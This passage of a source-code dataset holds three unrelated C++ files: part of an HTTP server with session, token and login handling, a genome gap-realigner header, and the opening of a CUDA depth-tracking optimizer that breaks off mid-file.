server2_h::run();\n}\n\nbool server2_hb::process_http_action(const std::string& action, const std::string& uri_params, http_connection& connection,\n                                     khorost::network::http_text_protocol_header* http) {\n    const auto s2_h_session = reinterpret_cast<network::s2h_session*>(processing_session(connection, http).get());\n\n    const auto it = m_dictActionS2H.find(action);\n    if (it != m_dictActionS2H.end()) {\n        const auto func_action = it->second;\n        return (this->*func_action)(uri_params, connection, http, s2_h_session);\n    }\n    return false;\n}\n\nbool server2_hb::process_http(http_connection& connection, khorost::network::http_text_protocol_header* http) {\n    auto logger = get_logger();\n\n    const auto query_uri = http->get_query_uri();\n    const auto url_prefix_action = get_url_prefix_action();\n    const auto size_upa = strlen(url_prefix_action);\n\n    logger->debug(\"[HTTP_PROCESS] URI='{}'\", query_uri);\n\n    if (strncmp(query_uri, url_prefix_action, size_upa) == 0) {\n        std::string action, params;\n        parse_action(query_uri + size_upa, action, params);\n        if (process_http_action(action, params, connection, http)) {\n            return true;\n        }\n\n        logger->debug(\"[HTTP_PROCESS] worker pQueryAction not found\");\n\n        http->set_response_status(http_response_status_not_found, \"Not found\");\n        http->send_response(connection, \"File not found\");\n\n        return false;\n    }\n    return process_http_file_server(query_uri, connection, http);\n}\n\nbool server2_hb::process_http_file_server(const std::string& query_uri, http_connection& connection,\n                                          khorost::network::http_text_protocol_header* http) {\n    const std::string prefix = get_url_prefix_storage();\n\n    if (prefix == query_uri.substr(0, prefix.size())) {\n        return http->send_file(query_uri.substr(prefix.size() - 1), connection, m_storage_root);\n    }\n\n    return server2_h::process_http_file_server(query_uri, connection, http);\n}\n\nvoid server2_hb::timer_session_update() {\n    m_sessions.check_alive_sessions();\n}\n\nvoid server2_hb::stub_timer_run(server2_hb* server) {\n    using namespace boost;\n    using namespace posix_time;\n\n    auto logger = server->get_logger();\n\n    ptime session_ip_update;\n\n    auto session_update = session_ip_update = second_clock::universal_time();\n\n    while (!server->m_shutdown_timer_) {\n        const auto now = second_clock::universal_time();\n\n        if ((now - session_update).minutes() >= 10) {\n            logger->debug(\"[TIMER] 10 minutes check\");\n            session_update = now;\n            server->timer_session_update();\n        }\n        if ((now - session_ip_update).hours() >= 1) {\n            logger->debug(\"[TIMER] Hours check\");\n            session_ip_update = now;\n        }\n\n        this_thread::sleep_for(chrono::milliseconds(1000));\n    }\n    // \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u043a\u044d\u0448\n    server->timer_session_update();\n}\n\nserver2_hb::func_creator server2_hb::get_session_creator() {\n    return [](const std::string& session_id, boost::posix_time::ptime created,\n              boost::posix_time::ptime expired) {\n        return std::make_shared<network::s2h_session>(\n            session_id, created, expired);\n    };\n}\n\nvoid server2_hb::set_session_driver(const std::string& driver) {\n    m_sessions.open(driver, SESSION_VERSION_MIN, SESSION_VERSION_CURRENT, get_session_creator());\n}\n\nnetwork::session_ptr server2_hb::processing_session(http_connection& connect, khorost::network::http_text_protocol_header* http) {\n    using namespace boost::posix_time;\n\n    auto logger = get_logger();\n\n    auto created = false;\n    const auto session_id = http->get_cookie(get_session_code(), nullptr);\n    auto sp = m_sessions.get_session(session_id != nullptr ? session_id : \"\", created, get_session_creator());\n    auto* s2_h_session = reinterpret_cast<network::s2h_session*>(sp.get());\n\n    char s_ip[255];\n    connect.get_client_ip(http, s_ip, sizeof(s_ip));\n\n    if (s2_h_session != nullptr) {\n        s2_h_session->set_last_activity(second_clock::universal_time());\n        s2_h_session->set_ip(s_ip);\n    }\n\n    http->set_cookie(get_session_code(), sp->get_session_id(), sp->get_expired(), http->get_host(), true);\n\n    logger->debug(\"[OAUTH] {} = '{}' ClientIP = '{}' ConnectID = #{:d} InS = '{}' \"\n                  , get_session_code(), sp->get_session_id().c_str(), s_ip, connect.get_id()\n                  , session_id != nullptr ? (strcmp(sp->get_session_id().c_str(), session_id) == 0 ? \"+\" : session_id) : \"-\"\n    );\n    return sp;\n}\n\nnetwork::token_ptr server2_hb::parse_token(khorost::network::http_text_protocol_header* http, const bool is_access_token,\n                                           const boost::posix_time::ptime& check) {\n    PROFILER_FUNCTION_TAG(get_logger_profiler(), fmt::format(\"[AT={}]\", is_access_token));\n\n    static const auto token_mask = khl_token_type + std::string(\" \");\n    const auto logger = get_logger();\n    std::string id;\n\n    const auto header_authorization = http->get_header_parameter(khl_http_param_authorization, nullptr);\n    if (header_authorization != nullptr) {\n        const auto token_id = data::escape_string(header_authorization);\n        const auto token_pos = token_mask.size();\n\n        if (token_id.size() <= token_pos || token_id.substr(0, token_pos) != token_mask) {\n            logger->warn(\"[OAUTH] Bad token format '{}'\", token_id);\n            return nullptr;\n        }\n\n        id = token_id.substr(token_pos);\n    } else {\n        id = data::escape_string(http->get_parameter(\"token\", \"\"));\n    }\n\n    auto token = find_token(is_access_token, id);\n    if (token != nullptr) {\n        if (check != boost::date_time::neg_infin && (is_access_token && !token->is_no_expire_access(check) || !is_access_token && !token->\n            is_no_expire_refresh(check))) {\n            logger->debug(\"[OAUTH] {} Token {} expire. timestamp = {}\"\n                          , is_access_token ? \"Access\" : \"Refresh\"\n                          , id\n                          , to_iso_extended_string(is_access_token ? token->get_access_expire() : token->get_refresh_expire()));\n            remove_token(token);\n            return nullptr;\n        }\n\n        logger->debug(\"[OAUTH] {} Token {} expired after {}\"\n                      , is_access_token ? \"Access\" : \"Refresh\"\n                      , id\n                      , to_iso_extended_string(is_access_token ? token->get_access_expire() : token->get_refresh_expire()));\n    } else {\n        logger->warn(\"[OAUTH] {} Token with id = '{}' not found\", is_access_token ? \"Access\" : \"Refresh\", id);\n    }\n\n    return token;\n}\n\nvoid server2_hb::fill_json_token(const network::token_ptr& token, Json::Value& value) {\n    value[\"token_type\"] = khl_token_type;\n\n    value[khl_json_param_access_token] = token->get_access_token();\n    value[khl_json_param_refresh_token] = token->get_refresh_token();\n\n    value[\"access_expires_in\"] = token->get_access_duration();\n    value[\"refresh_expires_in\"] = token->get_refresh_duration();\n}\n\nbool server2_hb::action_refresh_token(const std::string& params_uri, http_connection& connection,\n                                      khorost::network::http_text_protocol_header* http, khorost::network::s2h_session* session) {\n    const auto& logger = get_logger();\n    Json::Value json_root;\n    const auto now = boost::posix_time::microsec_clock::universal_time();\n\n    try {\n        auto token = parse_token(http, false, now);\n        if (token != nullptr) {\n            const auto time_refresh = http->get_parameter(\"time_refresh\", token->get_refresh_duration());\n            const auto time_access = http->get_parameter(\"time_access\", token->get_access_duration());\n\n            const auto prev_access_token = token->get_access_token();\n            const auto prev_refresh_token = token->get_refresh_token();\n\n            auto access_token = boost::lexical_cast<std::string>(boost::uuids::random_generator()());\n            auto refresh_token = boost::lexical_cast<std::string>(boost::uuids::random_generator()());\n\n            data::compact_uuid_to_string(access_token);\n            data::compact_uuid_to_string(refresh_token);\n\n            const auto access_expire = now + boost::posix_time::seconds(time_access + khl_token_append_time);\n            const auto refresh_expire = now + boost::posix_time::seconds(time_refresh + khl_token_append_time);\n\n            token->set_access_token(access_token);\n            token->set_access_duration(time_access);\n            token->set_access_expire(access_expire);\n\n            token->set_refresh_token(refresh_token);\n            token->set_refresh_duration(time_refresh);\n            token->set_refresh_expire(refresh_expire);\n\n            const auto& payload = token->get_payload();\n            const auto token_value = khorost::data::json_string(payload);\n            const auto cache_set_value = payload[get_cache_set_tag()].asString();\n            // clear previous state\n            m_cache_db_.del({prev_access_token, prev_refresh_token});\n            m_cache_db_.srem(m_cache_db_context_ + \"tt:\" + cache_set_value, {prev_refresh_token});\n            // set new state\n            m_cache_db_.setex(m_cache_db_context_ + \"at:\" + access_token, time_access + khl_token_append_time,\n                              token_value);\n            m_cache_db_.setex(m_cache_db_context_ + \"rt:\" + refresh_token, time_refresh + khl_token_append_time,\n                              token_value);\n            m_cache_db_.sadd(m_cache_db_context_ + \"tt:\" + cache_set_value, {refresh_token});\n            m_cache_db_.sync_commit();\n\n            logger->debug(\"[OAUTH] Remove token Access='{}', Refresh='{}' and append token Access='{}'@{}, Refresh='{}'@{}\"\n                          , prev_access_token\n                          , prev_refresh_token\n                          , token->get_access_token()\n                          , to_iso_extended_string(token->get_access_expire())\n                          , token->get_refresh_token()\n                          , to_iso_extended_string(token->get_refresh_expire())\n            );\n            update_tokens(token, prev_access_token, prev_refresh_token);\n\n            fill_json_token(token, json_root);\n        }\n    } catch (const std::exception&) {\n        http->set_response_status(http_response_status_internal_server_error, \"UNKNOWN_ERROR\");\n    }\n\n    if (!json_root.isNull()) {\n        KHL_SET_CPU_DURATION(json_root, khl_json_param_duration, now);\n\n        http->set_content_type(HTTP_ATTRIBUTE_CONTENT_TYPE__APP_JSON);\n        http->send_response(connection, data::json_string(json_root));\n    } else {\n        http->set_response_status(http_response_status_unauthorized, \"Unauthorized\");\n        http->end_of_response(connection);\n    }\n\n    return true;\n}\n\nbool server2_hb::action_auth(const std::string& uri_params, http_connection& connection,\n                             khorost::network::http_text_protocol_header* http, network::s2h_session* session) {\n    using namespace boost::posix_time;\n\n    Json::Value root;\n    std::string action, params;\n    std::string nickname, hash, salt;\n    int user_id;\n\n    parse_action(uri_params, action, params);\n\n    if (action == \"login\") {\n        Json::Value auth;\n        const auto body = reinterpret_cast<const char*>(http->get_body());\n\n        if (data::parse_json(body, body + http->get_body_length(), auth)) {\n            const auto login = auth[\"login\"].asString();\n            const auto password = auth[\"password\"].asString();\n\n            if (m_db_base.get_user_info(login, user_id, nickname, hash, salt)) {\n                decltype(hash) calculate_passowrd_hash;\n\n                RecalcPasswordHash(calculate_passowrd_hash, login, password, salt);\n                if (calculate_passowrd_hash == hash) {\n                    session->SetUserID(user_id);\n                    session->SetNickname(nickname);\n                    // TODO: pSession->SetPostion(/*------* /);\n                    session->SetAuthenticate(true);\n\n                    m_db_base.GetUserRoles(user_id, session);\n\n                    m_sessions.update_session(session);\n                }\n            }\n        }\n        json_fill_auth(session, true, root);\n    } else if (action == \"logout\") {\n        session->reset();\n        session->set_expired(second_clock::universal_time());\n\n        http->set_cookie(get_session_code(), session->get_session_id(), session->get_expired(), http->get_host(), true);\n\n        m_sessions.remove_session(session);\n    } else if (action == \"change\") {\n        std::string login;\n        const auto current_password = http->get_parameter(\"curpwd\", nullptr);\n\n        if (current_password != nullptr\n            && m_db_base.GetUserInfo(session->GetUserID(), login, nickname, hash, salt)\n            && IsPasswordHashEqual3(hash, login, current_password, salt)) {\n\n            const auto new_password = http->get_parameter(\"newpwd\", nullptr);\n            if (http->is_parameter_exist(\"loginpwd\")) {\n                login = http->get_parameter(\"loginpwd\", nullptr);\n\n                if (m_db_base.get_user_info(login, user_id, nickname, hash, salt)) {\n                    RecalcPasswordHash(hash, login, new_password, salt);\n                    m_db_base.UpdatePassword(user_id, hash);\n                } else {\n                    // \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\n                }\n            } else {\n                RecalcPasswordHash(hash, login, new_password, salt);\n                m_db_base.UpdatePassword(session->GetUserID(), hash);\n            }\n        } else {\n            root[S2H_JSON_REASON] = \"UserNotFound\";\n        }\n        json_fill_auth(session, true, root);\n    }\n\n    http->set_content_type(HTTP_ATTRIBUTE_CONTENT_TYPE__APP_JS);\n    http->send_response(connection, data::json_string(root));\n\n    return true;\n}\n\nvoid server2_hb::json_fill_auth(network::s2h_session* session, bool full_info, Json::Value& value) {\n    value[S2H_JSON_AUTH] = session->IsAuthenticate();\n    if (full_info && session->IsAuthenticate()) {\n        value[S2H_JSON_NICKNAME] = session->GetNickname();\n        Json::Value jvRoles;\n        session->fill_roles(jvRoles);\n        value[S2H_JSON_ROLES] = jvRoles;\n    }\n}\n\nvoid server2_hb::append_token(const network::token_ptr& token) {\n    if (token != nullptr) {\n        m_tokens_.insert(std::make_pair(token->get_refresh_token(), token));\n        m_tokens_.insert(std::make_pair(token->get_access_token(), token));\n    }\n}\n\nvoid server2_hb::remove_token(const std::string& token_id) {\n    const auto it = m_tokens_.find(token_id);\n    if (it != m_tokens_.end()) {\n        const auto t = it->second;\n        remove_token(t->get_access_token(), t->get_refresh_token());\n    }\n}\n\nvoid server2_hb::remove_token(const std::string& access_token, const std::string& refresh_token) {\n    m_tokens_.erase(refresh_token);\n    m_tokens_.erase(access_token);\n}\n\nvoid server2_hb::update_tokens(const network::token_ptr& token, const std::string& access_token,\n                               const std::string& refresh_token) {\n    remove_token(access_token, refresh_token);\n    append_token(token);\n}\n\nnetwork::token_ptr server2_hb::find_token(const bool is_access_token, const std::string& token_id) {\n    if (token_id.empty()) {\n        return nullptr;\n    }\n\n    const auto logger = get_logger();\n    logger->debug(\"[find_token] 1 a={} {}\", is_access_token, token_id);\n\n    const auto it = m_tokens_.find(token_id);\n    if (it != m_tokens_.end()) {\n        return it->second;\n    }\n\n    logger->debug(\"[find_token] 2 a={} {}\", is_access_token, token_id);\n\n    const auto token_context = m_cache_db_context_ + (is_access_token ? \"at:\" : \"rt:\") + token_id;\n    auto rit = m_cache_db_.exists({token_context});\n    m_cache_db_.sync_commit();\n\n    const auto exist = rit.get();\n    if (!exist.is_null() && exist.as_integer() == 1) {\n        auto riv = m_cache_db_.get(token_context);\n        m_cache_db_.sync_commit();\n\n        const auto cp = riv.get();\n        if (!cp.is_null()) {\n            logger->debug(\"[find_token] p a={} {} '{}'\", is_access_token, token_id, cp.as_string());\n\n            Json::Value payload;\n            data::parse_json_string(cp.as_string(), payload);\n\n            auto token = std::make_shared<network::token>(\n                payload[khl_json_param_access_token].asString()\n                , boost::posix_time::from_iso_extended_string(payload[khl_json_param_access_expire].asString())\n                , payload[khl_json_param_refresh_token].asString()\n                , boost::posix_time::from_iso_extended_string(payload[khl_json_param_refresh_expire].asString())\n                , payload);\n\n            logger->debug(\"[find_token] e a={} {}\", is_access_token, token_id);\n            append_token(token);\n            return token;\n        }\n    } else {\n        logger->debug(\"[find_token] r a={} {}\", is_access_token, token_id);\n\n        remove_token(token_id);\n    }\n\n    return nullptr;\n}\n", "meta": {"hexsha": "a664e8335225e353c7db6443d136d3167facc976", "size": 21721, "ext": "cxx", "lang": "C++", "max_stars_repo_path": "src/app/server2hb.cxx", "max_stars_repo_name": "khorost/khorost-lib", "max_stars_repo_head_hexsha": "26da3a8911103c1a94b25fe95ecac9ee5d8e5924", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2016-07-04T19:12:43.000Z", "max_stars_repo_stars_event_max_datetime": "2017-03-01T10:08:07.000Z", "max_issues_repo_path": "src/app/server2hb.cxx", "max_issues_repo_name": "khorost/phreeber-lib", "max_issues_repo_head_hexsha": "26da3a8911103c1a94b25fe95ecac9ee5d8e5924", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/app/server2hb.cxx", "max_forks_repo_name": "khorost/phreeber-lib", "max_forks_repo_head_hexsha": "26da3a8911103c1a94b25fe95ecac9ee5d8e5924", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.6494661922, "max_line_length": 138, "alphanum_fraction": 0.6419133557, "num_tokens": 5060, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230157, "lm_q2_score": 0.27512971787959795, "lm_q1q2_score": 0.14186236194597537}}
{"text": "/**\n ** Isaac Genome Alignment Software\n ** Copyright (c) 2010-2017 Illumina, Inc.\n ** All rights reserved.\n **\n ** This software is provided under the terms and conditions of the\n ** GNU GENERAL PUBLIC LICENSE Version 3\n **\n ** You should have received a copy of the GNU GENERAL PUBLIC LICENSE Version 3\n ** along with this program. If not, see\n ** <https://github.com/illumina/licenses/>.\n **\n ** \\file GapRealigner.hh\n **\n ** Attempts to reduce read mismatches by introducing gaps found on other reads.\n ** \n ** \\author Roman Petrovski\n **/\n\n#ifndef iSAAC_BUILD_GAP_REALIGNER_HH\n#define iSAAC_BUILD_GAP_REALIGNER_HH\n\n#include <boost/math/special_functions/binomial.hpp>\n\n#include \"alignment/Cigar.hh\"\n#include \"alignment/TemplateLengthStatistics.hh\"\n#include \"build/gapRealigner/RealignerGaps.hh\"\n#include \"build/PackedFragmentBuffer.hh\"\n#include \"flowcell/BarcodeMetadata.hh\"\n#include \"reference/Contig.hh\"\n#include \"reference/ReferencePosition.hh\"\n\nnamespace isaac\n{\nnamespace build\n{\n\n/**\n * \\brief Attempts to insert gaps found on other fragments while preserving the ones that\n *        are already there.\n */\nclass GapRealigner\n{\npublic:\n    typedef uint64_t GapChoiceBitmask;\nprivate:\n    // number of bits that can represent the on/off state for each gap.\n    // Currently unsigned is used to hold the choice\n    static const unsigned MAX_GAPS_AT_A_TIME = 64;\n\n    const bool realignGapsVigorously_;\n    const bool realignDodgyFragments_;\n    const unsigned gapsPerFragmentMax_;\n    const unsigned combinationsLimit_;\n    // Recommended value to be lower than gapOpenCost_ in a way that\n    // no less than two mismatches would warrant adding a gap\n    const unsigned mismatchCost_;// = 3;\n    const unsigned gapOpenCost_;// = 4;\n    // Recommended 0 as it does not matter how long the introduced gap is for realignment\n    const unsigned gapExtendCost_;// = 0;\n    static const int mismatchPercentReductionMin_ = 20;\n\n    const flowcell::BarcodeMetadataList &barcodeMetadataList_;\n\n    gapRealigner::Gaps currentAttemptGaps_;\n\n    gapRealigner::RealignerGaps fragmentGaps_;\n\npublic:\n    typedef gapRealigner::Gap GapType;\n    GapRealigner(\n        const bool realignGapsVigorously,\n        const bool realignDodgyFragments,\n        const unsigned gapsPerFragmentMax,\n        const unsigned mismatchCost,\n        const unsigned gapOpenCost,\n        const unsigned gapExtendCost,\n        const flowcell::BarcodeMetadataList &barcodeMetadataList):\n            realignGapsVigorously_(realignGapsVigorously),\n            realignDodgyFragments_(realignDodgyFragments),\n            gapsPerFragmentMax_(gapsPerFragmentMax),\n            combinationsLimit_(boost::math::binomial_coefficient<double>(MAX_GAPS_AT_A_TIME, gapsPerFragmentMax_)),\n            mismatchCost_(mismatchCost),\n            gapOpenCost_(gapOpenCost),\n            gapExtendCost_(gapExtendCost),\n            barcodeMetadataList_(barcodeMetadataList)\n    {\n        reserve();\n    }\n\n    void reserve()\n    {\n        currentAttemptGaps_.reserve(MAX_GAPS_AT_A_TIME * 10);\n        // number of existing gaps to be expected in one fragment. No need to be particularly precise.\n        fragmentGaps_.reserve(currentAttemptGaps_.capacity());\n    }\n\n    bool realign(\n        const gapRealigner::RealignerGaps &realignerGaps,\n        const reference::ReferencePosition binStartPos,\n        const reference::ReferencePosition binEndPos,\n        const io::FragmentAccessor &fragment,\n        PackedFragmentBuffer::Index &index,\n        reference::ReferencePosition &newRStrandPosition,\n        unsigned short &newEditDistance,\n        PackedFragmentBuffer &dataBuffer,\n        alignment::Cigar &realignedCigars,\n        const reference::ContigLists &contigLists);\n\n    // This one finds mate in the dataBuffer and updates it. Make sure no other thread is workin on the same pair at the same time\n    static void updatePairDetails(\n        const std::vector<alignment::TemplateLengthStatistics> &barcodeTemplateLengthStatistics,\n        const PackedFragmentBuffer::Index &index,\n        const reference::ReferencePosition newRStrandPosition,\n        const unsigned short newEditDistance,\n        io::FragmentAccessor &fragment,\n        PackedFragmentBuffer &dataBuffer);\n\nprivate:\n\n    struct RealignmentBounds\n    {\n        /*\n         * \\brief Position of the first non soft-clipped base of the read\n         */\n        reference::ReferencePosition beginPos_;\n        /*\n         * \\breif   Position of the first insertion base or the first base before the first deletion.\n         *          If there are no indels, equals to endPos.\n         */\n        reference::ReferencePosition firstGapStartPos_;\n        /*\n         * \\brief   Position of the first base following the last insertion or the first base\n         *          that is not part of the last deletion. If there are no indels, equals to beginPos_\n         */\n        reference::ReferencePosition lastGapEndPos_;\n        /*\n         * \\brief   Position of the base that follows the last non soft-clipped base of the read\n         */\n        reference::ReferencePosition endPos_;\n    };\n    friend std::ostream & operator << (std::ostream &os, const GapRealigner::RealignmentBounds &fragmentGaps);\n\n    const gapRealigner::GapsRange findMoreGaps(\n        gapRealigner::GapsRange range,\n        const gapRealigner::Gaps &gaps,\n        const reference::ReferencePosition binStartPos,\n        const reference::ReferencePosition binEndPos);\n\n    const gapRealigner::GapsRange findGaps(\n        const unsigned sampleId,\n        const reference::ReferencePosition binStartPos,\n        const reference::ReferencePosition binEndPos,\n        const reference::ReferencePosition rangeBegin,\n        const reference::ReferencePosition rangeEnd);\n\n    bool applyChoice(\n        const GapChoiceBitmask &choice,\n        const gapRealigner::GapsRange &gaps,\n        const reference::ReferencePosition binEndPos,\n        const reference::ReferencePosition contigEndPos,\n        PackedFragmentBuffer::Index &index,\n        const io::FragmentAccessor &fragment,\n        alignment::Cigar &realignedCigars);\n\n\n    struct GapChoice\n    {\n        GapChoice() : choice_(0), editDistance_(0), mismatches_(0), mismatchesPercent_(0), cost_(0), totalPriority_(0), mappedLength_(0){}\n        GapChoiceBitmask choice_;\n        unsigned editDistance_;\n        unsigned mismatches_;\n        unsigned mismatchesPercent_;\n        unsigned cost_;\n        unsigned totalPriority_;\n        unsigned mappedLength_;\n        reference::ReferencePosition startPos_;\n\n        friend std::ostream & operator <<(std::ostream &os, const GapChoice &gapChoice)\n        {\n            return os << \"GapChoice(\" << gapChoice.choice_ << \",\" <<\n                gapChoice.editDistance_ << \"ed,\" <<\n                gapChoice.mismatches_ << \"mm,\" <<\n                gapChoice.cost_ << \"c,\" <<\n                gapChoice.totalPriority_ << \"tp,\" <<\n                gapChoice.mappedLength_ << \"ml,\" <<\n                gapChoice.startPos_ << \")\";\n        }\n\n        void addPriority(const gapRealigner::Gap &gap)\n        {\n            if (gap.HIGHEST_PRIORITY - totalPriority_ >= gap.priority_)\n            {\n                totalPriority_ += gap.priority_;\n            }\n            else\n            {\n                totalPriority_ = gapRealigner::Gap::HIGHEST_PRIORITY;\n            }\n        }\n    };\n\n\n    GapChoice verifyGapsChoice(\n        const GapChoiceBitmask &choice,\n        const gapRealigner::GapsRange &gaps,\n        const reference::ReferencePosition newBeginPos,\n        const io::FragmentAccessor &fragment,\n        const reference::ContigList &reference);\n\n    bool isBetterChoice(\n        const GapChoice &choice,\n        const unsigned maxMismatchesPercent,\n        const GapChoice &bestChoice) const;\n\n    const RealignmentBounds extractRealignmentBounds(const PackedFragmentBuffer::Index &index) const;\n\n    bool findStartPos(\n        const GapChoiceBitmask &choice,\n        const gapRealigner::GapsRange &gaps,\n        const reference::ReferencePosition binStartPos,\n        const reference::ReferencePosition binEndPos,\n        const unsigned pivotGapIndex,\n        const reference::ReferencePosition pivotPos,\n        int64_t alignmentPos,\n        reference::ReferencePosition &ret);\n\n    bool compactCigar(\n        const reference::ContigList &reference,\n        const reference::ReferencePosition binEndPos,\n        const io::FragmentAccessor &fragment,\n        PackedFragmentBuffer::Index &index,\n        reference::ReferencePosition &newRStrandPosition,\n        unsigned short &newEditDistance,\n        alignment::Cigar &realignedCigars);\n\n    GapChoice getAlignmentCost(\n        const io::FragmentAccessor &fragment,\n        const PackedFragmentBuffer::Index &index) const;\n\n    void compactRealignedCigarBuffer(\n        std::size_t bufferSizeBeforeRealignment,\n        PackedFragmentBuffer::Index &index,\n        alignment::Cigar &realignedCigars);\n\n    bool findBetterGapsChoice(\n        const gapRealigner::GapsRange& gaps,\n        const reference::ReferencePosition& binStartPos,\n        const reference::ReferencePosition& binEndPos,\n        const reference::ContigList& reference,\n        const io::FragmentAccessor& fragment,\n        const PackedFragmentBuffer::Index& index,\n        unsigned &leftToEvaluate,\n        GapChoice &bestChoice);\n\n    int64_t undoExistingGaps(const PackedFragmentBuffer::Index& index,\n                          const reference::ReferencePosition& pivotPos);\n\n    bool verifyGapsChoice(\n        const GapChoiceBitmask &choice,\n        const gapRealigner::GapsRange& gaps,\n        const reference::ReferencePosition& binStartPos,\n        const reference::ReferencePosition& binEndPos,\n        const io::FragmentAccessor& fragment,\n        const reference::ContigList& reference,\n        const int originalMismatchesPercent,\n        const int64_t undoneAlignmentPos,\n        GapChoice& bestChoice);\n};\n\n} // namespace build\n} // namespace isaac\n\n#endif // #ifndef iSAAC_BUILD_GAP_REALIGNER_HH\n", "meta": {"hexsha": "f983b287db0ca9072ed95a707bf4d91b8c3ee670", "size": 10020, "ext": "hh", "lang": "C++", "max_stars_repo_path": "src/c++/include/build/GapRealigner.hh", "max_stars_repo_name": "Illumina/Isaac4", "max_stars_repo_head_hexsha": "0924fba8b467868da92e1c48323b15d7cbca17dd", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 13.0, "max_stars_repo_stars_event_min_datetime": "2018-02-09T22:59:39.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-29T06:33:22.000Z", "max_issues_repo_path": "src/c++/include/build/GapRealigner.hh", "max_issues_repo_name": "Illumina/Isaac4", "max_issues_repo_head_hexsha": "0924fba8b467868da92e1c48323b15d7cbca17dd", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 17.0, "max_issues_repo_issues_event_min_datetime": "2018-01-26T11:36:07.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-03T18:48:43.000Z", "max_forks_repo_path": "src/c++/include/build/GapRealigner.hh", "max_forks_repo_name": "Illumina/Isaac4", "max_forks_repo_head_hexsha": "0924fba8b467868da92e1c48323b15d7cbca17dd", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 4.0, "max_forks_repo_forks_event_min_datetime": "2018-10-19T20:00:00.000Z", "max_forks_repo_forks_event_max_datetime": "2020-10-29T14:44:06.000Z", "avg_line_length": 36.4363636364, "max_line_length": 138, "alphanum_fraction": 0.6846307385, "num_tokens": 2226, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061556288288, "lm_q2_score": 0.2814056014026228, "lm_q1q2_score": 0.1418020147752142}}
{"text": "#include \"optimizer.h\"\n\n#include <Eigen/Eigen>\n#include <Eigen/Sparse>\n\n#include \"kernels/intersection.h\"\n#include \"kernels/modToObs.h\"\n#include \"kernels/obsToMod.h\"\n#include \"geometry/distance_transforms.h\"\n#include \"util/ostream_operators.h\"\n#include \"visualization/matrix_viz.h\"\n#include \"util/cuda_utils.h\"\n\nnamespace dart {\n\nOptimizer::Optimizer(const DepthSourceBase * depthSource, const int predictionWidth, const int predictionHeight) {\n\n    const int pWidth = predictionWidth == -1 ? depthSource->getDepthWidth() : predictionWidth;\n    const int pHeight = predictionHeight == -1 ? depthSource->getDepthHeight() : predictionHeight;\n\n    const float2 focalLength = depthSource->getFocalLength()*pWidth/(float)depthSource->getDepthWidth();\n\n    init(depthSource->getDepthWidth(),depthSource->getDepthHeight(),focalLength,pWidth,pHeight);\n\n}\n\nOptimizer::Optimizer(const int depthWidth, const int depthHeight, const float2 focalLength,\n                     const int predictionWidth, const int predictionHeight) {\n\n    int pWidth = predictionWidth == -1 ? depthWidth : predictionWidth;\n    int pHeight = predictionHeight == -1 ? depthHeight : predictionHeight;\n\n    init(depthWidth,depthHeight,focalLength,pWidth,pHeight);\n}\n\nvoid Optimizer::init(const int depthWidth, const int depthHeight, const float2 focalLength,\n                     const int predictionWidth, const int predictionHeight) {\n\n    std::cout << \"predicting depth maps at \" << predictionWidth << \" x \" << predictionHeight << std::endl;\n    std::cout << \"prediction focal length: \" << focalLength.x << \", \" << focalLength.y << std::endl;\n\n    _predictionRenderer = new PredictionRenderer(predictionWidth,predictionHeight,focalLength);\n\n    _maxModels = 3;\n    _maxDims = 100;\n    _maxIntersectionSites = 131072; // TODO: ???\n\n    // scratch buffering\n    cudaMalloc(&_dDebugObsToModNorm,predictionWidth*predictionHeight*sizeof(float4));\n    cudaMalloc(&_dDebugModToObsNorm,predictionWidth*predictionHeight*sizeof(float4));\n    cudaMalloc(&_dError,sizeof(float));\n\n    cudaMalloc(&_dDebugDataAssocObsToMod,depthWidth*depthHeight*sizeof(int));\n    cudaMemset(_dDebugDataAssocObsToMod,0,depthWidth*depthHeight*sizeof(int));\n\n    cudaMalloc(&_dDebugDataAssocModToObs,predictionWidth*predictionHeight*sizeof(int));\n    cudaMemset(_dDebugDataAssocModToObs,0,predictionWidth*predictionHeight*sizeof(int));\n\n    cudaMalloc(&_dDebugObsToModError,depthWidth*depthHeight*sizeof(float));\n    cudaMemset(_dDebugObsToModError,0,depthWidth*depthHeight*sizeof(float));\n\n    cudaMalloc(&_dDebugModToObsError,predictionWidth*predictionHeight*sizeof(float));\n    cudaMemset(_dDebugModToObsError,0,predictionWidth*predictionHeight*sizeof(float));\n\n    cudaMalloc(&_dDebugIntersectionError,_maxIntersectionSites*sizeof(float));\n    {\n        std::vector<float> hostDebugIntersectionError(_maxIntersectionSites,42); // TODO\n        cudaMemcpy(_dDebugIntersectionError,hostDebugIntersectionError.data(),_maxIntersectionSites*sizeof(float),cudaMemcpyHostToDevice);\n    }\n\n    // TODO\n    cudaMalloc(&_dDebugObsToModJs,depthWidth*depthHeight*26*sizeof(float3));\n\n    _lastElements = new MirroredVector<int>(_maxModels);\n\n    _dPts = new MirroredVector<DataAssociatedPoint*>(_maxModels);\n\n    for (int i=0; i<_maxModels; ++i) {\n        cudaMalloc(&_dPts->hostPtr()[i],depthWidth*depthHeight*sizeof(DataAssociatedPoint));\n    }\n\n    _dPts->syncHostToDevice();\n\n\n    _JTJ.resize(_maxModels);\n    for (int i=0; i<_maxModels; ++i) {\n        _JTJ[i] = new Eigen::MatrixXf();\n    }\n\n    _iterationSummaries.resize(_maxModels);\n    for (int i=0; i<_maxModels; ++i) { _iterationSummaries[i].resize(10); }\n\n   _result = new MirroredVector<float>(_maxDims + JTJSize(_maxDims) + 1);\n\n   _JTJimg = new MirroredVector<uchar3>(320*240);\n\n    // make 